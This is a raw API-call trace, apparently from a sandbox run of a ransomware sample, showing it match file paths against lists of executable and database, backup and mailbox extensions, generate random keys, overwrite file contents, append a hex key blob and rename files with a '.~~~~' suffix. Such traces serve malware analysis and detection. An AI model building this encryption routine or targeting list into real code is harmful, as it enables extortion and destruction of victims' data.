	[0077.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0077.392] lstrlenW (lpString=".db") returned 3
	[0077.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0077.392] lstrlenW (lpString=".TXT") returned 4
	[0077.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0077.392] lstrlenW (lpString=".MDF") returned 4
	[0077.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0077.392] lstrlenW (lpString=".bdb") returned 4
	[0077.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0077.392] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0077.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.392] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0077.393] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.393] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0077.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0077.393] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19738357721) returned 1
	[0077.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x98070930, dwHighDateTime=0x1d60e1e)) 
	[0077.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0077.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0077.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0077.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac938
	[0077.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac938 | out: hHeap=0x300000) returned 1
	[0077.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab180
	[0077.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab180 | out: hHeap=0x300000) returned 1
	[0077.394] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0077.394] GetLastError () returned 0x0
	[0077.395] GetLastError () returned 0x0
	[0077.395] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0077.395] GetLastError () returned 0x0
	[0077.395] GetLastError () returned 0x0
	[0077.395] ReadFile (in: hFile=0x118, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x24dfec0*=0x5061, lpOverlapped=0x0) returned 1
	[0077.400] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffaf9f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.400] WriteFile (in: hFile=0x118, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x5061, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x24dfec0*=0x5061, lpOverlapped=0x0) returned 1
	[0077.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.400] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.400] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.400] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.400] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.401] CloseHandle (hObject=0x118) returned 1
	[0077.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0077.401] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0077.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5468 | out: hHeap=0x300000) returned 1
	[0077.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0077.402] GetLastError () returned 0x0
	[0077.402] RtlWakeConditionVariable () returned 0x365f70
	[0077.402] GetCurrentThreadId () returned 0x3a4
	[0077.402] GetCurrentThreadId () returned 0x3a4
	[0077.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab420 | out: hHeap=0x300000) returned 1
	[0077.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac970 | out: hHeap=0x300000) returned 1
	[0077.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab420
	[0077.402] lstrlenW (lpString=".scr") returned 4
	[0077.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".scr") returned 0x0
	[0077.402] lstrlenW (lpString=".cmd") returned 4
	[0077.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".cmd") returned 0x0
	[0077.402] lstrlenW (lpString=".dll") returned 4
	[0077.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".dll") returned 0x0
	[0077.402] lstrlenW (lpString=".bat") returned 4
	[0077.402] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".bat") returned 0x0
	[0077.402] lstrlenW (lpString=".cpl") returned 4
	[0077.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".cpl") returned 0x0
	[0077.403] lstrlenW (lpString=".sys") returned 4
	[0077.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".sys") returned 0x0
	[0077.403] lstrlenW (lpString=".msc") returned 4
	[0077.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".msc") returned 0x0
	[0077.403] lstrlenW (lpString=".com") returned 4
	[0077.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".com") returned 0x0
	[0077.403] lstrlenW (lpString=".lnk") returned 4
	[0077.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".lnk") returned 0x0
	[0077.403] lstrlenW (lpString=".msp") returned 4
	[0077.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".msp") returned 0x0
	[0077.403] lstrlenW (lpString=".pif") returned 4
	[0077.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".pif") returned 0x0
	[0077.403] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.403] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0077.403] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0077.415] lstrlenW (lpString=".sqb") returned 4
	[0077.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".sqb") returned 0x0
	[0077.415] lstrlenW (lpString=".ost") returned 4
	[0077.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".ost") returned 0x0
	[0077.415] lstrlenW (lpString=".txt") returned 4
	[0077.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".txt") returned 0x0
	[0077.415] lstrlenW (lpString=".mdt") returned 4
	[0077.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".mdt") returned 0x0
	[0077.416] lstrlenW (lpString=".BDB") returned 4
	[0077.416] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".BDB") returned 0x0
	[0077.416] lstrlenW (lpString=".eql") returned 4
	[0077.416] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".eql") returned 0x0
	[0077.416] lstrlenW (lpString=".DBF") returned 4
	[0077.416] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".DBF") returned 0x0
	[0077.416] lstrlenW (lpString=".EQL") returned 4
	[0077.416] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".EQL") returned 0x0
	[0077.416] lstrlenW (lpString=".FDB") returned 4
	[0077.416] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".FDB") returned 0x0
	[0077.416] lstrlenW (lpString=".EDB") returned 4
	[0077.416] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".EDB") returned 0x0
	[0077.417] lstrlenW (lpString=".DACPAC") returned 7
	[0077.417] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".DACPAC") returned 0x0
	[0077.417] lstrlenW (lpString=".VHD") returned 4
	[0077.417] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".VHD") returned 0x0
	[0077.417] lstrlenW (lpString=".DBV") returned 4
	[0077.417] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".DBV") returned 0x0
	[0077.417] lstrlenW (lpString=".dacpac") returned 7
	[0077.417] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".dacpac") returned 0x0
	[0077.417] lstrlenW (lpString=".sdf") returned 4
	[0077.417] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".sdf") returned 0x0
	[0077.417] lstrlenW (lpString=".accdb") returned 6
	[0077.417] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".accdb") returned 0x0
	[0077.417] lstrlenW (lpString=".DBX") returned 4
	[0077.417] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".DBX") returned 0x0
	[0077.417] lstrlenW (lpString=".MDT") returned 4
	[0077.417] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".MDT") returned 0x0
	[0077.417] lstrlenW (lpString=".SQB") returned 4
	[0077.417] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".SQB") returned 0x0
	[0077.417] lstrlenW (lpString=".vhd") returned 4
	[0077.417] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".vhd") returned 0x0
	[0077.417] lstrlenW (lpString=".bac") returned 4
	[0077.417] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".bac") returned 0x0
	[0077.417] lstrlenW (lpString=".mdf") returned 4
	[0077.417] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".mdf") returned 0x0
	[0077.418] lstrlenW (lpString=".BAK") returned 4
	[0077.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".BAK") returned 0x0
	[0077.418] lstrlenW (lpString=".BAC") returned 4
	[0077.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".BAC") returned 0x0
	[0077.418] lstrlenW (lpString=".dbs") returned 4
	[0077.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".dbs") returned 0x0
	[0077.418] lstrlenW (lpString=".vhdx") returned 5
	[0077.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".vhdx") returned 0x0
	[0077.418] lstrlenW (lpString=".NDF") returned 4
	[0077.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".NDF") returned 0x0
	[0077.418] lstrlenW (lpString=".dat") returned 4
	[0077.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".dat") returned 0x0
	[0077.418] lstrlenW (lpString=".DBS") returned 4
	[0077.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".DBS") returned 0x0
	[0077.418] lstrlenW (lpString=".CKP") returned 4
	[0077.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".CKP") returned 0x0
	[0077.418] lstrlenW (lpString=".edb") returned 4
	[0077.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".edb") returned 0x0
	[0077.418] lstrlenW (lpString=".PST") returned 4
	[0077.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".PST") returned 0x0
	[0077.418] lstrlenW (lpString=".dbf") returned 4
	[0077.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".dbf") returned 0x0
	[0077.418] lstrlenW (lpString=".SQL") returned 4
	[0077.418] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".SQL") returned 0x0
	[0077.418] lstrlenW (lpString=".pst") returned 4
	[0077.419] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".pst") returned 0x0
	[0077.419] lstrlenW (lpString=".dbv") returned 4
	[0077.419] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".dbv") returned 0x0
	[0077.419] lstrlenW (lpString=".SDF") returned 4
	[0077.419] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".SDF") returned 0x0
	[0077.419] lstrlenW (lpString=".dtxs") returned 5
	[0077.419] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".dtxs") returned 0x0
	[0077.419] lstrlenW (lpString=".db3") returned 4
	[0077.419] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".db3") returned 0x0
	[0077.419] lstrlenW (lpString=".OST") returned 4
	[0077.419] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".OST") returned 0x0
	[0077.419] lstrlenW (lpString=".dbx") returned 4
	[0077.419] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".dbx") returned 0x0
	[0077.419] lstrlenW (lpString=".DB3") returned 4
	[0077.419] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".DB3") returned 0x0
	[0077.419] lstrlenW (lpString=".DAT") returned 4
	[0077.419] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".DAT") returned 0x0
	[0077.419] lstrlenW (lpString=".VHDX") returned 5
	[0077.419] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".VHDX") returned 0x0
	[0077.419] lstrlenW (lpString=".ndf") returned 4
	[0077.419] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".ndf") returned 0x0
	[0077.419] lstrlenW (lpString=".DB") returned 3
	[0077.419] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".DB") returned 0x0
	[0077.420] lstrlenW (lpString=".sql") returned 4
	[0077.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".sql") returned 0x0
	[0077.420] lstrlenW (lpString=".MYD") returned 4
	[0077.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".MYD") returned 0x0
	[0077.420] lstrlenW (lpString=".DBT") returned 4
	[0077.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".DBT") returned 0x0
	[0077.420] lstrlenW (lpString=".ACCDB") returned 6
	[0077.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".ACCDB") returned 0x0
	[0077.420] lstrlenW (lpString=".fdb") returned 4
	[0077.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".fdb") returned 0x0
	[0077.420] lstrlenW (lpString=".bak") returned 4
	[0077.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".bak") returned 0x0
	[0077.420] lstrlenW (lpString=".myd") returned 4
	[0077.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".myd") returned 0x0
	[0077.420] lstrlenW (lpString=".DTXS") returned 5
	[0077.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".DTXS") returned 0x0
	[0077.420] lstrlenW (lpString=".ckp") returned 4
	[0077.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".ckp") returned 0x0
	[0077.420] lstrlenW (lpString=".dbt") returned 4
	[0077.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".dbt") returned 0x0
	[0077.420] lstrlenW (lpString=".db") returned 3
	[0077.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".db") returned 0x0
	[0077.420] lstrlenW (lpString=".TXT") returned 4
	[0077.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".TXT") returned 0x0
	[0077.420] lstrlenW (lpString=".MDF") returned 4
	[0077.420] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".MDF") returned 0x0
	[0077.421] lstrlenW (lpString=".bdb") returned 4
	[0077.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".bdb") returned 0x0
	[0077.421] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.421] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0077.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.421] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0077.422] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.422] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0077.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0077.422] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19741228188) returned 1
	[0077.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x980bcbf0, dwHighDateTime=0x1d60e1e)) 
	[0077.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0077.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0077.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0077.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a23a0
	[0077.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a23a0 | out: hHeap=0x300000) returned 1
